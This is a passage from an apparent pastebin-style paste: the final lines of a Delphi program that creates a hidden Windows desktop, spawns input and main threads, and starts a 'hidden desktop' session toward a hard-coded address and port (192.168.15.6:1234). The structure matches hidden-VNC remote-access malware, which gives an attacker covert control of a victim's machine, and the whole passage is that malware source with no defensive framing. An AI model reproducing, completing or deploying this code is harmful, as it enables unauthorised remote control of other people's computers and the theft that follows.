  866.     _hDesk := CreateDesktop(PChar(DesktopName), nil, nil, 0, GENERIC_ALL, nil);
  867.  
  868.   if not SetThreadDesktop(_hDesk) then
  869.     Exit;
  870.  
  871.   _hInputThread := CreateThread(nil, 0, @InputThread, nil, 0, tId);
  872.   WaitForSingleObject(_hInputThread, INFINITE);
  873.  
  874.   Started := False;
  875. end;
  876.  
  877. procedure StartHiddenDesktop(var Host: string; Port: Integer);
  878. var
  879.   ThrId: Cardinal;
  880. begin
  881.   if Started then
  882.     Exit;
  883.   _Host := Copy(Host, Length(Host) - Length(Host), Length(Host));
  884.   _Port := Port;
  885.   Started := True;
  886.  
  887.   CreateThread(nil, 0, @MainThread, nil, 0, ThrId);
  888. end;
  889.  
  890. var
  891.   S: string = '192.168.15.6:1234';
  892.   H: string;
  893.   P: Integer;
  894.  
  895. begin
  896.   try
  897.     H := mySplit(S)[0];
  898.     P := StrToInt(mySplit(S)[1]);
  899.     StartHiddenDesktop(H, P);
  900.   except
  901.     on E: Exception do
  902.       Writeln(E.ClassName, ': ', E.Message);
  903.   end;
  904.   Readln;
  905.  
  906. end.
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement